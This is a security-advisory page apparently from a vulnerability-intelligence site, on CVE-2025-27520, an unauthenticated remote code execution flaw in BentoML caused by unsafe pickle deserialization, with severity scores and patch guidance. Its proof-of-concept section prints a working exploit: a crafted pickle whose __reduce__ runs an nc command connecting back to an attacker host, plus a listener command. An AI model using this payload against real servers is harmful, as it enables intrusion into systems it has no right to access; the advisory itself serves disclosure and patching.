KEVWire

Security intelligence, with context.

Response snapshot Oct 27, 2026, 16:01 UTC

Back to the wire
Permalink
VulnerabilityCVE-2025-27520

BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization

- Server host: - IP: 10.98.36.123 - OS: Ubuntu - Attack host: - IP: 10.98.36.121 - OS: Ubuntu 1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.

Published Updated

At a glance

Exploited
Not known
Severity
9.8 Critical (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: bentoml: 1.4.3. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-33xw-247w-6hmc (opens a new tab)

What happened

### Summary A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.

### Details It exists an unsafe code segment in `serde.py`: ```Python def deserialize_value(self, payload: Payload) -> t.Any: if "buffer-lengths" not in payload.metadata: return pickle.loads(b"".join(payload.data)) ``` Through data flow analysis, it is confirmed that the `payload `content is sourced from an HTTP request, which can be fully manipulated by the attack.

Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.

### PoC Environment:

Continue reading

- Server host: - IP: 10.98.36.123 - OS: Ubuntu - Attack host: - IP: 10.98.36.121 - OS: Ubuntu

1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.

1.1 Install BentoML (Server host: 10.98.36.123) : ` pip install -U bentoml`

1.2 Define APIs in a `service.py` file (Server host: 10.98.36.123) : ``` Python from __future__ import annotations

import bentoml

@bentoml.service( resources={"cpu": "4"} ) class Summarization: def __init__(self) -> None: import torch from transformers import pipeline

device = "cuda" if torch.cuda.is_available() else "cpu" self.pipeline = pipeline('summarization', device=device)

@bentoml.api(batchable=True) def summarize(self, texts: list[str]) -> list[str]: results = self.pipeline(texts) return [item['summary_text'] for item in results] ```

1.3 Run the service code (Server host: 10.98.36.123) : ``` Bash pip install torch transformers # additional dependencies for local run

bentoml serve ```

2. Start nc listening on the attacking host (Attack host: 10.98.36.121) : `nc -lvvp 1234`

3. Send maliciously crafted request (Attack host: 10.98.36.121) : ``` Python import pickle import os import requests

headers = {'Content-Type': 'application/vnd.bentoml+pickle'}

class Evil: def __reduce__(self): return(os.system, ('nc 10.98.36.121 1234',))

payload = pickle.dumps(Evil())

requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers) ```

4. Attack success (Attack host: 10.98.36.121) : The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234. ![nc](https://github.com/user-attachments/assets/858cba4a-6880-498f-b922-dd9a2dc78a85)

### Impact Remote Code Execution (RCE).

Affected package ranges reported by GitHub: bentoml: >= 1.3.4, < 1.4.3

Scores and how they were measured

CVSS base severity

9.8

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-33xw-247w-6hmc (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-33xw-247w-6hmc, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 27). BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization (CVE-2025-27520). https://kevwire.com/record/CVE-2025-27520

MLA

"BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization (CVE-2025-27520)." KEVWire, 27 Oct. 2026, kevwire.com/record/CVE-2025-27520.

Chicago

KEVWire. "BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization (CVE-2025-27520)." Last modified October 27, 2026. https://kevwire.com/record/CVE-2025-27520.

Evidence summary (plain text)

BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization (Apr 4, 2025).
- Server host:
 - IP: 10.98.36.123
 - OS: Ubuntu 
- Attack host:
 - IP: 10.98.36.121
 - OS: Ubuntu 

1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.
CVSS 9.8 (version 3.1; evidence as of Oct 27, 2026; https://github.com/advisories/GHSA-33xw-247w-6hmc).
Sources:
GitHub-reviewed advisory GHSA-33xw-247w-6hmc: https://github.com/advisories/GHSA-33xw-247w-6hmc
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2025-27520.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 16:00 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are not available yet. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail